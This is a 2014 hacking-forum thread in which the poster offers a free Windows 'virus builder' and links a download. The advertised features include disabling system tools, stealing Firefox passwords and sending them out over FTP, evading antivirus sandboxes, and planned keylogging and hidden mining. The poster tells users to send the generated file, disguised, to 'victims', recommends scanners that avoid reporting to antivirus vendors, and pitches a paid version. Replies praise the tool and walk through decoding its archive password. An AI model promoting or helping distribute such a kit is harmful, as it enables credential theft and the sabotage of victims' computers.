Thread: [\[FREE\] ddvniek's Virus Builder v1.0](#)

AceVoid - July 9, 2014, 12:23 pm

Hi HF. This is my first attempt at making a builder that generates a new .exe file. The title is pretty self-explanatory. A virus is generated based on the options you selected in the builder. This newly generated file you then send to your victim disguised as something he/she would be interested in. The program is still in development so bare with me as I find the bugs.

Done:

Disable Windows UI

Screen Shuffling (Mixes up targets screen)

Disable Desktop Icons

Disable Windows Bootup

Disable Windows Task Manager

Disable Windows Registry Editor

Prevent Windows Shutdown

Disable Windows Task-bar

Steal Firefox Passwords

Upload Passwords via FTP

Anti-VM (Most known Virtual Machines)

Anti-Sandbox (Most known Sandbox and Debuggers)

In-Progress:

BSOD

Execution On a Specific Date

Google Chrome Password Stealing

To-Do:

Keylogger

Check online file storage for already uploaded passwords and rename if necessary

Silent Bitcoin Mining

Self Destruct

Bypass Windows UAC

No-IP DUC Password Stealer

FileZilla Password Stealer

Virus Builder.exe :

<http://fuckingscan.me/result.php?id=116937>

stub.exe :

<http://fuckingscan.me/result.php?id=116939>

READ HERE BEFORE YOU COMPLAIN!

Spoiler ([Click to View](#))

"The features on your program suck! Why?"

->As I said, this is my first ever attempt at making a builder that generates a new .exe file. I haven't coded anything like this ever before.

"What's with the large stub size!?"

->The large stub size is a result of adding .dll files needed for the decrypting of Firefox passwords to the stub resources. Not much I can do about it.

"This program is very buggy!"

->If you read above, I already said the program is still in development. So if you see a HUGE bug or error, report it to me and I'll fix it as soon as I can.

"Its detected by antivirus 35/35!!! OMG look <https://www.virustotal.com/>"

->For the love of all things holy... use <http://fuckingscan.me/index.php> or <http://nodistribute.com/> I'll TRY and FUD it in the next release, but I find it quite hard to do so bare with me ok?

Regarding Windows Vista and above: Since Windows Vista, User Account Control has been introduced. Problem is when a program coded in Delphi is executed and you/the person running it is not logged in as an Administrator, you can't do much. For example you can't create registry entries, or copy/move files around. I'm working on a solution. Until then, be creative and get your victim to run the virus as Admin.

http://www.mediafire.com/download/23xrudrvy937d3w/Virus_Builder_2014.rar

Noob Protection:

Code pRY3YAeERomTJfnHk4+obgrEMyngBC31YrdudzD8P13WuRHJ1ZYSfO6LrevYhCOT+MD5 >

Megan > Blowfish(Crypt Key: PTUVAHSLLJOLY) (Use Base-64)

To get blowfish Crypt Key:

Caesar

Key: >5

Can't get the Rar password decrypted? Use the [Search](#) button or [Google](#) it. Don't post or PM me, it's easy enough to figure out.

Ubers and Leets, post here and I'll send you the password as soon as I can. Please do not PM me. Note I'm not always at my PC, so when I get home from collage I'll send the passwords.

?

Moon Rock - July 9, 2014, 12:25 pm

Looks good, what's the bin size with all the features?

LulzTech - July 9, 2014, 12:30 pm

Looks good man! Might download this in the future! ?

AceVoid - July 9, 2014, 12:34 pm

(Jul 9, 2014 12:25 PM)Hitman Agency Wrote: [\[CITE\]](#) Looks good, what's the bin size with all the features?

Of the stub or generated virus, 1143 KB. Reason for large stub size is in my post. :)

¹³³⁷ - July 9, 2014, 8:25 pm

This is just me or i got a error in the code?

edit:this code --->

pRY3YAeERomTJfnHk4+obgrEMyngBC31YrdudzD8P13WuRHJ1ZYSfO6LrevYhCOT+
ok...

AceVoid - July 9, 2014, 9:25 pm

(Jul 9, 2014 08:25 PM)lasski Wrote: [\[CITE\]](#) This is just me or i got a error in the code?

Please explain. What code are you talking about?

If you're having troubles decoding blowfish use this site:

http://www.tools4noobs.com/online_tools/decrypt/

Just make sure you have the correct crypt key to decode the blowfish code.

Quote:To get blowfish Crypt Key:

Code PTUVAHSLLJOLYCaesar

Key: >5

Come on people I need some feedback please. ?

RilleXhah - July 11, 2014, 2:44 pm

Wow im deffinetely downloading this, its really cool!

GetHype690 - July 11, 2014, 2:51 pm

Vouch, works like a charm.

Nice post, OP.

AceVoid - July 11, 2014, 3:20 pm

Appreciate the feedback guys.?

kerschy_01 - July 11, 2014, 11:31 pm

Looks really good, Will definitely download soon
Thanks in Advance!

Kill the 8 - July 13, 2014, 1:49 pm

Can someone help me? I got the encryption key decoded, but I can't seem to get the blowfish decryption to work...

Never mind I figured it out. Thanks! btw I LOVE the ui!

Peroxed - July 13, 2014, 2:24 pm

Looks good! Might download this in the future!

AceVoid - July 14, 2014, 8:04 am

Lol glad you like it. Post here if you have any problems.

Illu\$ion - July 14, 2014, 9:21 am

send me thee password bro.
thanks in advance

Nord - September 7, 2014, 10:28 am

Can I have the pass? Decryption is sooo annoying

PoisonousHammer - September 7, 2014, 10:33 am

i would very happy if u could just send me the password...

AceVoid - September 7, 2014, 1:24 pm

(Sep 7, 2014 10:33 AM)PoisonousHammer Wrote: [CITE](#) i would very happy if u could just send me the password...

I know you would, but the noob protection is there for a reason sir.

ScammerHD - September 7, 2014, 1:26 pm

Looks really funny,

will download it now :)

Good Luck with achieving your goals, would love to see this builder with a keylogger ;)

pepexx - September 7, 2014, 2:13 pm

Yep, the noob protection worked, I can't decrypt that... ahahahaha (I have no fucking idea about decrypting/crypting ...)

Can anyone help me ? :(

lathrissa - September 7, 2014, 5:27 pm

yuck. decryption. too lazy to bother haha. good looking program though, from the images at least :P

OffCode - September 7, 2014, 6:00 pm

Ohh damn! This looks so good! Keep this up! Add more functions! :PP (I Dont download beacuse i am lazy and there is "Noob Protection" hahah) :DD

AceVoid - September 7, 2014, 9:37 pm

Seriously guys, too lazy for some basic noob protection?.....

Check my signature for the updated version of this program for only \$15.

I'm sure giving out some of your candy money to buy the new version is better than the noob decrypting yo get the old version ;)

WZDY - September 8, 2014, 2:30 am

Too lazy for the noob protection (I know shit about decrypting, but alot about encrypting!) Well anyways can I have the password for it? Thanks.

nuk - September 8, 2014, 7:32 am

Can you send me a PM with the key? I'm at work and don't have time to decrypt right now :) Thanks homie... and this is lookin' pretty sweet! :)

SIM-2297654 - September 8, 2014, 11:10 am

Really good program
thaks for this!

Transporter007 - September 9, 2014, 4:31 am

Downloaded its look good will use it soon.

Sprremix - September 9, 2014, 8:18 am

Lol, nice protection. This ain't too hard, and to be honest I'd respect OP if he let those spoiled UBERS use the "noob" protection aswell.

You really only gotta understand what OP wants you to do. Here's his original text:

Code Noob Protection:

Code:

pRY3YAeERomTJfnHk4+obgrEMyngBC31YrduzD8P13WuRHJ1ZYSfO6LrevYhCOT+
MD5 > Megan > Blowfish(Crypt Key: PTUVAHSLLJOLY) (Use Base-64)

To get blowfish Crypt Key:

Caesar

Key: >5

So what does he want? Let's see what he DID.

He got the original password, which is a series of random numbers, and encrypted them with MD5 first. <http://www.md5online.org/>

The output of that MD5 hash is something like this:

c35312fb3a7e05b7a44db2326bd29040

He then proceeded to encrypt that MD5 hash with a Mega cipher.

http://crypto.in.ua/tools/eng_megan35c.php

The output looks like this: itRvRtJsj2Ntidn1RIfYSwJuSL=YRZRss2O/RZ/qSI35

Next, he encrypts it with Blowfish. I don't know anything of Blowfish other than there used to be a mIRC plugin which worked with blowfish so all your IRC chats were encrypted etc.. Blowfish is

awesome, because either of you have to have a key. If you don't have this key, all the text will look like OP's original code we have to decode.

So when I encrypt the Megan cipher with blowfish and use a key (I used "sprremix") the output looks like this:

bWJl3mZU1+XFnBMOMLJWmfm6v+GuVS/ht3Qx+BnKPnFr33ww1BAOICzGkO3xMoVa
http://www.tools4noobs.com/online_tools/encrypt/

What OP did is he not just gave the key away, no, he also decrypted the key weith Caesar. Ceasar is a lot of fun and easy to understand. I suggest you read more about it here:

http://en.wikipedia.org/wiki/Caesar_cipher

He also gave us a hint on what key we have to search. He told us it's 5 or higher. I could say that there's a pretty high chance it COULD be key 19. But I could be wrong.

http://crypto.in.ua/tools/eng_caesar.php

So now you know how to encrypt a key like what OP did, now you just have to do the exact opposite of what I just did.

I'm not giving away the key, so I hope OP can appreciate this post. Good luck! (and yes I just gave you (and saved you time) all the links you could EASILY find on google)

Edit:

Just for clarification: OP provided us with the result of all the encryption he did on the password. He also told us HOW he encrypted this password. You have to do the exact opposite to get the key. At the end, it's one part with another part inside of it. THIS: PTUVAHSLLJOLY is NOT the blowfish key, but the encrypted blowfish key.

Key: pRY3YAeERomTJfnHk4+obgrEMyngBC31YrdudzD8P13WuRHJ1ZYSfO6LrevYhCOT+
Encrypted with: MD5 > Megan > Blowfish (Use Base-64)

Encrypted blowfish key: PTUVAHSLLJOLY
Encrypted with: Ceasar (key: >5)

AceVoid - September 9, 2014, 8:42 am

(Sep 9, 2014 08:18 AM)Sprremix Wrote: [CITE](#) Lol, nice protection. This ain't too hard, and to be honest I'd respect OP if he let those spoiled UBERS use the "noob" protection aswell.

Encrypted with: MD5 > Megan > Blowfish (Use Base-64)

Encrypted blowfish key: PTUVAHSLLJOLY

Encrypted with: Caesar (key: >5)

Well done. Thanks for clarifying it for the noobs bro. ?

Voxinat - September 9, 2014, 11:22 am

Seems to be a good soft! i'll download it now :)

kmaru - September 9, 2014, 6:41 pm

Nice. This is interesting; I'll report back if I find anything useful.

| - All_pro hint: the pw ends in "3"; button mash in cmd prompt and use facebook for the rest -|?

3xlr0l - April 17, 2017, 7:39 am

GG kiddo, i hate this post!

TimeZoned - April 17, 2017, 8:35 am

What is the password for the program? I can't run it password needed

LuciferDoxExe - September 7, 2017, 6:00 pm

im already fuckin stressing i dont know what he point is for to go through all those steps just to get a password to a file that is shitty noob protection what will that do?? will it get you wet a million dollars no insteads it wastes time i tried i read all wikipeddia articales i been to sites alot are taken down or i get errors i googles it and looked im youtube im done tbh waste of my fucking time

Holy hell that made me laugh hard... LOL

This craps like 3 years old already, I highly doubt it would do anything than be annoying. If THAT.
